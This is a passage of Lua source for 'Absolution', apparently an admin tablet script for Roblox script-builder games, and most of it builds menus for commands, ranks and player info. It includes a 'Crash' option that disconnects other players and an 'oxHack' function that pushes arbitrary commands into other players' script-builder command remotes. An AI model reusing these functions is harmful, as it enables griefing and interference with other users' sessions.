| 2114 | -- ShowCommands -- | |
| 2115 | Absolution.Functions.ShowCommands = function(Speaker, fr) | |
| 2116 | local sRank = Absolution.Functions:findRank(tostring(Speaker)) | |
| 2117 | Absolution.Functions.Dismiss(Speaker) | |
| 2118 | Absolution.Functions.OpenCmds = function(Rank, Speaker) | |
| 2119 | Absolution.Functions.Dismiss(Speaker) | |
| 2120 | for Name,Tab in pairs(Absolution.Commands) do | |
| 2121 | if Tab.Rank == Rank and Tab.Rank >= 0 then | |
| 2122 | Absolution.Functions.Output(Speaker, Name, nil, function() | |
| 2123 | Absolution.Functions.Dismiss(Speaker) | |
| 2124 | Absolution.Functions.Output(Speaker, "Name: "..Name) | |
| 2125 | Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", ")) | |
| 2126 | Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank) | |
| 2127 | Absolution.Functions.Output(Speaker, "Description: "..Tab.Description) | |
| 2128 | Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags) | |
| 2129 | Absolution.Functions.Output(Speaker, (Tab.Rank <= Rank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= Rank and 'Lime green' or 'Really red')) | |
| 2130 | Absolution.Functions.Output(Speaker, "Dismiss") | |
| 2131 | end) | |
| 2132 | elseif Rank == "usage" and Tab.Rank <=Absolution.Functions:findRank(Speaker.Name) then | |
| 2133 | Absolution.Functions.Output(Speaker, Name, nil, function() | |
| 2134 | Absolution.Functions.Dismiss(Speaker) | |
| 2135 | Absolution.Functions.Output(Speaker, "Name: "..Name) | |
| 2136 | Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", ")) | |
| 2137 | Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank) | |
| 2138 | Absolution.Functions.Output(Speaker, "Description: "..Tab.Description) | |
| 2139 | Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags) | |
| 2140 | Absolution.Functions.Output(Speaker, (Tab.Rank <= sRank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= sRank and 'Lime green' or 'Really red')) | |
| 2141 | Absolution.Functions.Output(Speaker, "Dismiss") | |
| 2142 | end) | |
| 2143 | elseif Rank == "all" and Tab.Rank >= 0 then | |
| 2144 | Absolution.Functions.Output(Speaker, Name.." ("..Tab.Rank..")", nil, function()
| |
| 2145 | Absolution.Functions.Dismiss(Speaker) | |
| 2146 | Absolution.Functions.Output(Speaker, "Name: "..Name) | |
| 2147 | Absolution.Functions.Output(Speaker, "Uses: "..table.concat(Tab.Uses, ", ")) | |
| 2148 | Absolution.Functions.Output(Speaker, "Rank: "..Tab.Rank) | |
| 2149 | Absolution.Functions.Output(Speaker, "Description: "..Tab.Description) | |
| 2150 | Absolution.Functions.Output(Speaker, "Flags: "..Tab.Flags) | |
| 2151 | Absolution.Functions.Output(Speaker, (Tab.Rank <= sRank and 'You can use this command!' or 'You have no access to this command.'),(Tab.Rank <= sRank and 'Lime green' or 'Really red')) | |
| 2152 | Absolution.Functions.Output(Speaker, "Back", "Really black", function() Absolution.Functions.OpenCmds("all", Speaker) end)
| |
| 2153 | Absolution.Functions.Output(Speaker, "Dismiss") | |
| 2154 | end) | |
| 2155 | end | |
| 2156 | end | |
| 2157 | -- wait() | |
| 2158 | Absolution.Functions.Output(Speaker, "Dismiss", nil) | |
| 2159 | Absolution.Functions.Output(Speaker, "Back", "Really black", function() Absolution.Functions.ShowCommands(Speaker) end) | |
| 2160 | end | |
| 2161 | local Rank = Absolution.Functions:findRank(tostring(Speaker)) | |
| 2162 | local frnk = (fr and fr or nil) | |
| 2163 | if frnk then | |
| 2164 | Absolution.Functions.OpenCmds(frnk, Speaker) | |
| 2165 | else | |
| 2166 | for _,v in pairs(Absolution.Ranks) do | |
| 2167 | if ((Rank >= _) and (_ >= 0)) then | |
| 2168 | Absolution.Functions.Output(Speaker, v..'('.._..')', nil, function() Absolution.Functions.OpenCmds(_, Speaker) end)
| |
| 2169 | end | |
| 2170 | end | |
| 2171 | Absolution.Functions.Output(Speaker, "Commands you can use", 'Lime green', function() Absolution.Functions.OpenCmds("usage", Speaker) end)
| |
| 2172 | Absolution.Functions.Output(Speaker, "All", nil, function() Absolution.Functions.OpenCmds("all", Speaker) end)
| |
| 2173 | Absolution.Functions.Output(Speaker, "Dismiss") | |
| 2174 | end | |
| 2175 | end | |
| 2176 | ||
| 2177 | -- nickName -- | |
| 2178 | Absolution.Functions.nickName = function(playerName, nickName) | |
| 2179 | ||
| 2180 | Absolution.Nicknames[playerName] = nickName | |
| 2181 | ||
| 2182 | local DataStore = game:GetService("DataStoreService"):GetDataStore("NickNamez")
| |
| 2183 | ||
| 2184 | local key = "user_" .. playerName | |
| 2185 | ||
| 2186 | DataStore:UpdateAsync(key, function(oldValue) | |
| 2187 | local newValue = nickName | |
| 2188 | return newValue | |
| 2189 | end) | |
| 2190 | ||
| 2191 | end | |
| 2192 | ||
| 2193 | ||
| 2194 | Absolution.Functions.GetRankedInterface = function(Speaker, Player) -- "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name | |
| 2195 | Absolution.Functions.Dismiss(Speaker) | |
| 2196 | if type(Player) == "userdata" then | |
| 2197 | Player = Player.Name | |
| 2198 | end | |
| 2199 | Absolution.Functions.GetRankedPlayer = function(i) | |
| 2200 | if type(i) == "userdata" then | |
| 2201 | i = i.Name | |
| 2202 | end | |
| 2203 | Absolution.Functions.Dismiss(Speaker) | |
| 2204 | Absolution.Functions.Output(Speaker, "Name: "..i, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..i) | |
| 2205 | ypcall(function() | |
| 2206 | Absolution.Functions.Output(Speaker, "Age: "..Absolution.Services.Players[i].AccountAge) | |
| 2207 | Absolution.Functions.Output(Speaker, "userId: "..Absolution.Services.Players[i].userId) | |
| 2208 | end) | |
| 2209 | Absolution.Functions.Output(Speaker, "Rank: "..Absolution.Functions:findRank(i)) | |
| 2210 | Absolution.Functions.Output(Speaker, "View Other Infomation", "Deep orange", function() | |
| 2211 | Absolution.Functions.Output(Speaker, "Color: "..Absolution.Functions.getRankedTable(i).Color or "N/A") | |
| 2212 | Absolution.Functions.Output(Speaker, "Distance: "..Absolution.Functions.getRankedTable(i).Distance or "N/A") | |
| 2213 | Absolution.Functions.Output(Speaker, "Description: "..Absolution.Functions.getRankedTable(i).Description or "N/A") | |
| 2214 | end) | |
| 2215 | if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(i) and Absolution.Functions:findRank(Speaker)>5 then | |
| 2216 | Absolution.Functions.Output(Speaker, "Set Rank", "Mid gray", function() | |
| 2217 | Absolution.Functions.Dismiss(Speaker) | |
| 2218 | Absolution.Functions.Output(Absolution.Services.Players:findFirstChild(i), Speaker.Name..' is setting your rank.') | |
| 2219 | for __,v in pairs(Absolution.Ranks) do | |
| 2220 | if __ < Absolution.Functions:findRank(Speaker) and (__>=0) then | |
| 2221 | Absolution.Functions.Output(Speaker, '['..tostring(__)..'] '..v, nil, function() | |
| 2222 | Absolution.Functions.GetRankedInterface(Speaker) | |
| 2223 | Absolution.Functions.getRankedTable(i).Rank = __ | |
| 2224 | Absolution.Functions.syncRankOut(i) | |
| 2225 | Absolution.Functions.Output(Absolution.Services.Players:findFirstChild(i), Speaker.Name..' changed your access level to '..Absolution.Ranks[__], nil) | |
| 2226 | end) | |
| 2227 | end | |
| 2228 | end | |
| 2229 | end) | |
| 2230 | end | |
| 2231 | if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(i) or i == Speaker.Name then | |
| 2232 | Absolution.Functions.Output(Speaker, "User Settings", "Mid gray", function() | |
| 2233 | Absolution.Functions.Output(Speaker, "Set Color", "Mid gray", function() | |
| 2234 | Absolution.Functions.Dismiss(Speaker) | |
| 2235 | for _,c in pairs({"Br. yellowish green","Bright yellow","Bright orange","Bright red","Bright violet","Bright blue","Bright bluish green","Bright green","Institutional white","White","Light stone grey","Mid gray","Medium stone grey","Dark stone grey","Black","Really black","Grime","Br. yellowish orange","Light orange","Sand red","Lavender","Sand blue","Medium blue","Sand green","Brick yellow","Cool yellow","Neon orange","Medium red","Light reddish violet","Pastel Blue","Teal","Medium green","Pastel brown","Pastel yellow","Pastel orange","Pink","Pastel violet","Pastel light blue","Pastel blue-green","Pastel green","Olive","New Yeller","Deep orange","Really red","Hot pink","Really blue","Toothpaste","Lime green","Brown","Nougat","Dark orange","Royal purple","Alder","Cyan","Light blue","Camo","Reddish brown","CGA brown","Dusty Rose","Magenta","Deep blue","Navy blue","Dark green","Earth green"}) do
| |
| 2236 | Absolution.Functions.Output(Speaker, c, c, function() | |
| 2237 | Absolution.Functions.Dismiss(Speaker) | |
| 2238 | Absolution.Functions.getRankedTable(i).Color = c | |
| 2239 | Absolution.Functions.GetRankedInterface(Speaker) | |
| 2240 | end) | |
| 2241 | end | |
| 2242 | end) | |
| 2243 | Absolution.Functions.Output(Speaker, "Set Tablet Type", "Mid gray", function() | |
| 2244 | Absolution.Functions.Dismiss(Speaker) | |
| 2245 | Absolution.Functions.Output(Speaker, 'Box', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Box' end) | |
| 2246 | Absolution.Functions.Output(Speaker, 'Normal', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Normal' end) | |
| 2247 | end) | |
| 2248 | Absolution.Functions.Output(Speaker, "Set Distance", "Mid gray", function() | |
| 2249 | Absolution.Functions.Dismiss(Speaker) | |
| 2250 | for z = 1, 30 do | |
| 2251 | Absolution.Functions.Output(Speaker, z, nil, function() | |
| 2252 | Absolution.Functions.Dismiss(Speaker) | |
| 2253 | Absolution.Functions.getRankedTable(i).Distance = z | |
| 2254 | Absolution.Functions.GetRankedInterface(Speaker) | |
| 2255 | end) | |
| 2256 | end | |
| 2257 | end) | |
| 2258 | end) | |
| 2259 | end | |
| 2260 | Absolution.Functions.Output(Speaker, "Back To Ranked", "Really blue", function() Absolution.Functions.GetRankedInterface(Speaker) end) | |
| 2261 | Absolution.Functions.Output(Speaker, "Back To Players", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end) | |
| 2262 | Absolution.Functions.Output(Speaker, "Dismiss") | |
| 2263 | end | |
| 2264 | Absolution.Functions.getAllRanked = function(Speaker, str) | |
| 2265 | Absolution.Functions.Dismiss(Speaker) | |
| 2266 | local Found = {}
| |
| 2267 | for index,data in next, Absolution.Ranked do | |
| 2268 | if Absolution.Functions:findRank(Speaker) >= data.Rank and (str and data:lower():find(str:lower()) or true) then | |
| 2269 | Found[#Found+1] = index | |
| 2270 | end | |
| 2271 | end | |
| 2272 | local function PageHandler(Speaker,tbl,pg,calc,maxpg) | |
| 2273 | local List,Page,MaxPage=tbl,pg,maxpg | |
| 2274 | if Page == 0 then | |
| 2275 | Page = 1 | |
| 2276 | end | |
| 2277 | local function GetArray(table,start,_end,maxpage) | |
| 2278 | local Array = {}
| |
| 2279 | if start == 0 then | |
| 2280 | start = 1 | |
| 2281 | end | |
| 2282 | for i = start,_end do | |
| 2283 | Array[#Array+1]=table[i] | |
| 2284 | end | |
| 2285 | return Array | |
| 2286 | end | |
| 2287 | local function Redo(pg) | |
| 2288 | Absolution.Functions.Dismiss(Speaker) | |
| 2289 | for index,data in pairs(GetArray(List,(Page-1)*calc,Page*calc,maxpg)) do | |
| 2290 | Absolution.Functions.Output(Speaker, (data and data or 'Nil Data'), Absolution.Functions.getRankedTable(data).Color, function() Absolution.Functions.GetRankedInterface(Speaker, data) end) | |
| 2291 | end | |
| 2292 | if pg < maxpg then | |
| 2293 | Absolution.Functions.Output(Speaker, "Next Page","New Yeller",function() | |
| 2294 | Page = Page + 1 | |
| 2295 | Redo(Page) | |
| 2296 | end) | |
| 2297 | end | |
| 2298 | if pg > 1 then | |
| 2299 | Absolution.Functions.Output(Speaker, "Back Page","New Yeller",function() | |
| 2300 | Page = Page - 1 | |
| 2301 | Redo(Page) | |
| 2302 | end) | |
| 2303 | end | |
| 2304 | Absolution.Functions.Output(Speaker, "Page: "..Page.."/"..maxpg,"New Yeller") | |
| 2305 | end | |
| 2306 | Redo(Page) | |
| 2307 | end | |
| 2308 | local mr = Absolution.Constants.MaxResults | |
| 2309 | if #Found > mr then | |
| 2310 | PageHandler(Speaker,Found,1,mr,math.floor(#Found/mr)) | |
| 2311 | end | |
| 2312 | end | |
| 2313 | if Player ~= nil then | |
| 2314 | Absolution.Functions.GetRankedPlayer(Player) | |
| 2315 | else | |
| 2316 | Absolution.Functions.getAllRanked(Speaker) | |
| 2317 | end | |
| 2318 | end | |
| 2319 | ||
| 2320 | ||
| 2321 | ||
| 2322 | -- ShowData -- | |
| 2323 | Absolution.Functions.ShowData = function(Speaker, Player) | |
| 2324 | if Player then | |
| 2325 | Absolution.Functions.Dismiss(Speaker) | |
| 2326 | local tPlr = tostring(Player) | |
| 2327 | local pData = Absolution.Handler:sendPacket(Player, 'DATA') | |
| 2328 | local FPS = pData["FPS"] | |
| 2329 | local TIME = pData["TIME"] | |
| 2330 | local LOGS = pData["LOGS"] | |
| 2331 | local RAP = Absolution.Functions.getRap(Player) | |
| 2332 | Absolution.Functions.Output(Speaker, 'Stats', Absolution.Functions.getRankedTable(tPlr).Color, function() | |
| 2333 | Absolution.Functions.Dismiss(Speaker) | |
| 2334 | Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end) | |
| 2335 | Absolution.Functions.pseudoOutputFunction(Speaker, 'FPS: '..FPS, 'White') | |
| 2336 | Absolution.Functions.pseudoOutputFunction(Speaker, 'TIME: '..TIME, 'White') | |
| 2337 | Absolution.Functions.pseudoOutputFunction(Speaker, 'RAP: '..RAP,'White') | |
| 2338 | Absolution.Functions.pseudoOutputFunction(Speaker, 'Stats for '..tostring(Player), 'Bright yellow') | |
| 2339 | end) | |
| 2340 | if Absolution.Ranked[tostring(Speaker)].Rank >=8 then | |
| 2341 | Absolution.Functions.Output(Speaker, 'Logs', Absolution.Functions.getRankedTable(tPlr).Color, function() | |
| 2342 | Absolution.Functions.Dismiss(Speaker) | |
| 2343 | Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end) | |
| 2344 | for i,v in pairs(LOGS) do | |
| 2345 | Absolution.Functions.Output(Speaker,i,'Random',function() | |
| 2346 | Absolution.Functions.Dismiss(Speaker) | |
| 2347 | Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end) | |
| 2348 | for f,g in pairs(v) do | |
| 2349 | Absolution.Functions.Output(Speaker,f..' = '..g) | |
| 2350 | end | |
| 2351 | end) | |
| 2352 | end | |
| 2353 | end) | |
| 2354 | end | |
| 2355 | else | |
| 2356 | Absolution.Functions.ShowData(Speaker, Speaker) | |
| 2357 | end | |
| 2358 | end | |
| 2359 | ||
| 2360 | -- isIgnoring -- | |
| 2361 | Absolution.Functions.IsIgnoring = function(pName) | |
| 2362 | for q,e in next,Absolution.Ignoring do | |
| 2363 | if e==pName then | |
| 2364 | return true | |
| 2365 | end | |
| 2366 | end | |
| 2367 | return false | |
| 2368 | end | |
| 2369 | ||
| 2370 | -- setIgnore -- | |
| 2371 | Absolution.Functions.SetIgnore = function(pName) | |
| 2372 | table.insert(Absolution.Ignoring, pName) | |
| 2373 | return true | |
| 2374 | end | |
| 2375 | ||
| 2376 | -- stopIgnore -- | |
| 2377 | Absolution.Functions.StopIgnore = function(pName) | |
| 2378 | for q,e in next,Absolution.Ignoring do | |
| 2379 | if e==pName then | |
| 2380 | table.remove(Absolution.Ignoring, q) | |
| 2381 | return true | |
| 2382 | end | |
| 2383 | end | |
| 2384 | return false | |
| 2385 | end | |
| 2386 | ||
| 2387 | -- getRankedTable -- | |
| 2388 | Absolution.Functions.getRankedTable = function(plr) | |
| 2389 | if type(plr)=='userdata' then plr=tostring(plr) end | |
| 2390 | local data | |
| 2391 | data = Absolution.Ranked[plr] | |
| 2392 | return data | |
| 2393 | end | |
| 2394 | ||
| 2395 | -- ShowPlayers -- | |
| 2396 | Absolution.Functions.ShowPlayers = function(Speaker) | |
| 2397 | Absolution.Functions.Dismiss(Speaker) | |
| 2398 | for _,v in pairs(Absolution.Functions.getALLPlayers()) do | |
| 2399 | if v.Parent == Absolution.Services.Players then | |
| 2400 | Absolution.Functions.Output(Speaker, v.Name..'['..Absolution.Functions:findRank(v)..']', nil, function() | |
| 2401 | Absolution.Functions.Dismiss(Speaker) | |
| 2402 | Absolution.Functions.Output(Speaker, "Name: "..v.Name, "Deep orange") | |
| 2403 | Absolution.Functions.Output(Speaker, "UserId: "..v.userId, "Deep orange") | |
| 2404 | Absolution.Functions.Output(Speaker, "AccountAge: "..v.AccountAge, "Deep orange") | |
| 2405 | Absolution.Functions.Output(Speaker, "Go To "..v.Name.."'s Ranked Interface", "Really blue", function() | |
| 2406 | Absolution.Functions.GetRankedInterface(Speaker, v.Name) | |
| 2407 | end) | |
| 2408 | Absolution.Functions.Output(Speaker, "Back", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end) | |
| 2409 | Absolution.Functions.Output(Speaker, "Dismiss") | |
| 2410 | end) | |
| 2411 | else | |
| 2412 | Absolution.Functions.Output(Speaker, "nil-"..v.Name, nil, function() | |
| 2413 | Absolution.Functions.Dismiss(Speaker) | |
| 2414 | Absolution.Functions.Output(Speaker, "Name: "..v.Name, "Deep orange") | |
| 2415 | Absolution.Functions.Output(Speaker, "UserId: "..v.userId, "Deep orange") | |
| 2416 | Absolution.Functions.Output(Speaker, "AccountAge: "..v.AccountAge, "Deep orange") | |
| 2417 | if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(v.Name) then | |
| 2418 | Absolution.Functions.Output(Speaker, "Crash", "White", function() | |
| 2419 | Absolution.Functions.Dismiss(Speaker) | |
| 2420 | local dc = Absolution.Handler:sendPacket(v, 'rejoin') | |
| 2421 | coroutine.resume(coroutine.create(function() | |
| 2422 | wait(0.5) | |
| 2423 | if dc then | |
| 2424 | Absolution.Functions.Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3) | |
| 2425 | Absolution.Functions.Announce('CRASHED: '..(v.Name and v.Name or 'undefined/error'))
| |
| 2426 | else | |
| 2427 | Absolution.Functions.Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3) | |
| 2428 | Absolution.Functions.Announce('FAILED TO CRASH:'..(v.Name and v.Name or 'undefined/error'))
| |
| 2429 | end | |
| 2430 | end)) | |
| 2431 | end) | |
| 2432 | end | |
| 2433 | Absolution.Functions.Output(Speaker, "To Ranked Interface", "Really blue", function() | |
| 2434 | Absolution.Functions.GetRankedInterface(Speaker, v.Name) | |
| 2435 | end) | |
| 2436 | Absolution.Functions.Output(Speaker, "Back", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end) | |
| 2437 | Absolution.Functions.Output(Speaker, "Dismiss") | |
| 2438 | end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name) | |
| 2439 | end | |
| 2440 | end | |
| 2441 | Absolution.Functions.Output(Speaker, "Dismiss") | |
| 2442 | end | |
| 2443 | ||
| 2444 | -- oxHack -- | |
| 2445 | Absolution.Functions.sbExe = function(cmd,plr) | |
| 2446 | if not type(cmd)=='string'then return end | |
| 2447 | if plr then | |
| 2448 | if type(plr)=='userdata'then | |
| 2449 | pcall(function() | |
| 2450 | plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
| |
| 2451 | end) | |
| 2452 | elseif type(plr)=='string'then | |
| 2453 | pcall(function() | |
| 2454 | plr = game:GetService('Players'):FindFirstChild(plr)
| |
| 2455 | plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
| |
| 2456 | end) | |
| 2457 | end | |
| 2458 | else | |
| 2459 | for i,v in pairs(game:GetService('Players'):children())do
| |
| 2460 | pcall(function() | |
| 2461 | v:FindFirstChild("SB_CommandRemote",true).Value = cmd
| |
| 2462 | end) | |
| 2463 | end | |
| 2464 | end | |
| 2465 | end | |
| 2466 | Absolution.Functions.sbChat = function(self,msg,plr,fn) | |
| 2467 | msg = msg:gsub("","")
| |
| 2468 | if not type(msg)=='string'then return end | |
| 2469 | msg=(msg and msg or '') | |
| 2470 | if plr then | |
| 2471 | if type(plr)=='userdata'then | |
| 2472 | local data = Instance.new('StringValue',plr)
| |
| 2473 | data.Name = 'SB_Chat' | |
| 2474 | data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' ' | |
| 2475 | elseif type(plr)=='string'then | |
| 2476 | plr = game:GetService('Players'):FindFirstChild(plr)
| |
| 2477 | local data = Instance.new('StringValue',plr)
| |
| 2478 | data.Name = 'SB_Chat' | |
| 2479 | data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' ' | |
| 2480 | end | |
| 2481 | else | |
| 2482 | for i,v in pairs(game:GetService('Players'):children())do
| |
| 2483 | local data = Instance.new('StringValue',v)
| |
| 2484 | data.Name = 'SB_Chat' | |
| 2485 | data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' ' | |
| 2486 | end | |
| 2487 | end | |
| 2488 | end | |
| 2489 | Absolution.Functions.sbOutput = function(msg, typ, plr) | |
| 2490 | if not type(msg)=='string'then return end | |
| 2491 | msg=(msg and msg or 'nil') | |
| 2492 | typ=(typ and typ or 'Print') | |
| 2493 | if plr then | |
| 2494 | ||
| 2495 | --[[if type(plr)=='userdata'then | |
| 2496 | local data = Instance.new('StringValue',plr)
| |
| 2497 | data.Name = 'SB_Output:Output' | |
| 2498 | data.Value = '["'..typ..'","'..msg..'"]' | |
| 2499 | Absolution.Functions.Out(plr, msg, 5) | |
| 2500 | elseif type(plr)=='string'then | |
| 2501 | plr = game:GetService('Players'):FindFirstChild(plr)
| |
| 2502 | local data = Instance.new('StringValue',plr)
| |
| 2503 | data.Name = 'SB_Output:Output' | |
| 2504 | data.Value = '["'..typ..'","'..msg..'"]' | |
| 2505 | end--]] | |
| 2506 | Absolution.Functions.Out(plr, msg, 5) | |
| 2507 | else | |
| 2508 | Absolution.Functions.Out('All', msg, 5)
| |
| 2509 | --[[for i,v in pairs(game:GetService('Players'):children())do
| |
| 2510 | ||
| 2511 | local data = Instance.new('StringValue',v)
| |
| 2512 | data.Name = 'SB_Output:Output' | |
| 2513 | data.Value = '["'..typ..'","'..msg..'"]' | |
| 2514 | end--]] | |
| 2515 | end | |
| 2516 | print('[Absolution.Functions.sbOutput] - '..msg..' {'..typ..'}')
| |
| 2517 | end | |
| 2518 | ||
| 2519 | Absolution.Functions.osbOutput = function(msg, typ, plr) | |
| 2520 | if not type(msg)=='string'then return end | |
| 2521 | msg=(msg and msg or 'nil') | |
| 2522 | typ=(typ and typ or 'Print') | |
| 2523 | if plr then | |
| 2524 | if type(plr)=='userdata'then | |
| 2525 | local data = Instance.new('StringValue',plr)
| |
| 2526 | data.Name = 'SB_Output:Output' | |
| 2527 | data.Value = '["'..typ..'","'..msg..'"]' | |
| 2528 | Absolution.Functions.Out(plr, msg, 5) | |
| 2529 | elseif type(plr)=='string'then | |
| 2530 | plr = game:GetService('Players'):FindFirstChild(plr)
| |
| 2531 | local data = Instance.new('StringValue',plr)
| |
| 2532 | data.Name = 'SB_Output:Output' | |
| 2533 | data.Value = '["'..typ..'","'..msg..'"]' | |
| 2534 | end | |
| 2535 | else | |
| 2536 | for i,v in pairs(game:GetService('Players'):children())do
| |
| 2537 | local data = Instance.new('StringValue',v)
| |
| 2538 | data.Name = 'SB_Output:Output' | |
| 2539 | data.Value = '["'..typ..'","'..msg..'"]' | |
| 2540 | end | |
| 2541 | end | |
| 2542 | print('[Absolution.Functions.sbOutput] - '..msg..' {'..typ..'}')
| |
| 2543 | end | |
| 2544 | ||
| 2545 | Absolution.Functions.pseudoOutputFunction = function(Player, Msg, Color, Function, Time, Image) | |
| 2546 | local index = tonumber(#Absolution.Tablets)+1 | |
| 2547 | Absolution.Tablets[index] = {Func=Function}
| |
| 2548 | Absolution.Handler:sendPacket(Player, 'Tablets', {Msg=Msg, Color=Color, Time=Time, Image=Image, Index=index});
| |
| 2549 | end | |
| 2550 | ||
| 2551 | Absolution.Functions.SendGui = function(Player, Message, Type) | |
| 2552 | if not Type then local Type = 1 end | |
| 2553 | if not Message then local Message = 'undefined' end | |
| 2554 | Absolution.Handler:sendPacket(Player, 'Output', {Message, Type})
| |
| 2555 | end | |
| 2556 | ||
| 2557 | Absolution.Functions.Out = function(Player, Message, Type) | |
| 2558 | local tab; | |
| 2559 | if type(Player) == "userdata" then | |
| 2560 | local thread = coroutine.create(function() | |
| 2561 | tab = Absolution.Functions.SendGui(Player, Message, Type) | |
| 2562 | end) | |
| 2563 | coroutine.resume(thread) | |
| 2564 | elseif type(Player) == "table" then | |
| 2565 | for _,v in pairs(Player) do | |
| 2566 | local thread = coroutine.create(function() | |
| 2567 | tab = Absolution.Functions.SendGui(v, Message, Type) | |
| 2568 | end) | |
| 2569 | coroutine.resume(thread) | |
| 2570 | end | |
| 2571 | elseif type(Player) == "string" then | |
| 2572 | if Player:lower() == "all" then | |
| 2573 | for _,v in pairs(Absolution.Services.Players:getPlayers()) do | |
| 2574 | local thread = coroutine.create(function() | |
| 2575 | tab = Absolution.Functions.SendGui(v, Message, Type) | |
| 2576 | end) | |
| 2577 | coroutine.resume(thread) | |
| 2578 | end | |
| 2579 | elseif Player:lower() == "admins" then | |
| 2580 | for _,v in pairs(Absolution.Services.Players:getPlayers()) do | |
| 2581 | if Absolution.Functions:findRank(v) >= 1 then | |
| 2582 | local thread = coroutine.create(function() | |
| 2583 | tab = Absolution.Functions.SendGui(v, Message, Type) | |
| 2584 | end) | |
| 2585 | coroutine.resume(thread) | |
| 2586 | end | |
| 2587 | end | |
| 2588 | end | |
| 2589 | end | |
| 2590 | return tab | |
| 2591 | end | |
| 2592 | ||
| 2593 | Absolution.Functions.Output = function(Player, Msg, Color, Function, Time, Image) | |
| 2594 | local tab; | |
| 2595 | if type(Player) == "userdata" then | |
| 2596 | local thread = coroutine.create(function() | |
| 2597 | tab = Absolution.Functions.pseudoOutputFunction(Player, Msg, Color, Function, Time, Image) | |
| 2598 | end) | |
| 2599 | coroutine.resume(thread) | |
| 2600 | elseif type(Player) == "table" then | |
| 2601 | for _,v in pairs(Player) do | |
| 2602 | local thread = coroutine.create(function() | |
| 2603 | tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image) | |
| 2604 | end) | |
| 2605 | coroutine.resume(thread) | |
| 2606 | end | |
| 2607 | elseif type(Player) == "string" then | |
| 2608 | if Player:lower() == "all" then | |
| 2609 | for _,v in pairs(Absolution.Services.Players:getPlayers()) do | |
| 2610 | local thread = coroutine.create(function() | |
| 2611 | tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image) | |
| 2612 | end) | |
| 2613 | coroutine.resume(thread) | |
| 2614 | end | |
| 2615 | elseif Player:lower() == "admins" then | |
| 2616 | for _,v in pairs(Absolution.Services.Players:getPlayers()) do | |
| 2617 | if Absolution.Functions:findRank(v) >= 1 then | |
| 2618 | local thread = coroutine.create(function() | |
| 2619 | tab = Absolution.Functions.pseudoOutputFunction(v, Msg, Color, Function, Time, Image) | |
| 2620 | end) | |
| 2621 | coroutine.resume(thread) | |
| 2622 | end | |
| 2623 | end | |
| 2624 | end | |
| 2625 | end | |
| 2626 | return tab | |
| 2627 | end | |
| 2628 | ||
| 2629 | -- IRCCommandHandler -- | |
| 2630 | Absolution.Functions.IRCCommandParser = function() | |
| 2631 | ||
| 2632 | end | |
| 2633 | ||
| 2634 | -- Locking Scripts -- | |
| 2635 | Absolution.Connections[#Absolution.Connections+1] = Absolution.Services.Workspace.DescendantAdded:connect(function(Object) | |
| 2636 | if not Absolution then return end | |
| 2637 | if Absolution.Locks.Server.Server == true then | |
| 2638 | if Object.className == "Script" then | |
| 2639 | local ObjectName = Object.Name | |
| 2640 | Object.Disabled = true | |
| 2641 | Object:Destroy() | |
| 2642 | end | |
| 2643 | end | |
| 2644 | end) | |
| 2645 | Absolution.Connections[#Absolution.Connections+1] = game.DescendantAdded:connect(function(Object) | |
| 2646 | if not Absolution then return end | |
| 2647 | if Absolution.Locks.Server.Local == true then | |
| 2648 | if Object.className == "BaseScript" then | |
| 2649 | local ObjectName = Object.Name | |
| 2650 | repeat Object.Disabled = true until Object:Destroy() | |
| 2651 | end | |
| 2652 | end | |
| 2653 | end) | |
| 2654 | ||
| 2655 | ||
| 2656 | -- Replicators -- | |
| 2657 | Absolution.Functions.GetReplicators=function(clear) | |
| 2658 | local rep={};
| |
| 2659 | for _,v in next,game:service'NetworkServer':children()do | |
| 2660 | if(v:isA'ServerReplicator')then | |
| 2661 | table.insert(rep,v); | |
| 2662 | else | |
| 2663 | if(clear)then | |
| 2664 | pcall(function()v:Destroy()end); | |
| 2665 | end; | |
| 2666 | end; | |
| 2667 | end; | |
| 2668 | return rep; | |
| 2669 | end; | |
| 2670 | ||
| 2671 | ||
| 2672 | -- Startup -- | |
| 2673 | Absolution.Functions.Boot = function() | |
| 2674 | if Absolution.Booted then error'script already loaded...' return end | |
| 2675 | Absolution.Booted = true | |
| 2676 | local function bootMod(Mod, Msg, ...) | |
| 2677 | local start_boot = tick() | |
| 2678 | Absolution.Functions.osbOutput(Msg..'...', 'Run') | |
| 2679 | local args = {...}
| |
| 2680 | local Success, Error = ypcall(Mod) | |
| 2681 | local end_boot = tick() | |
| 2682 | if Success then | |
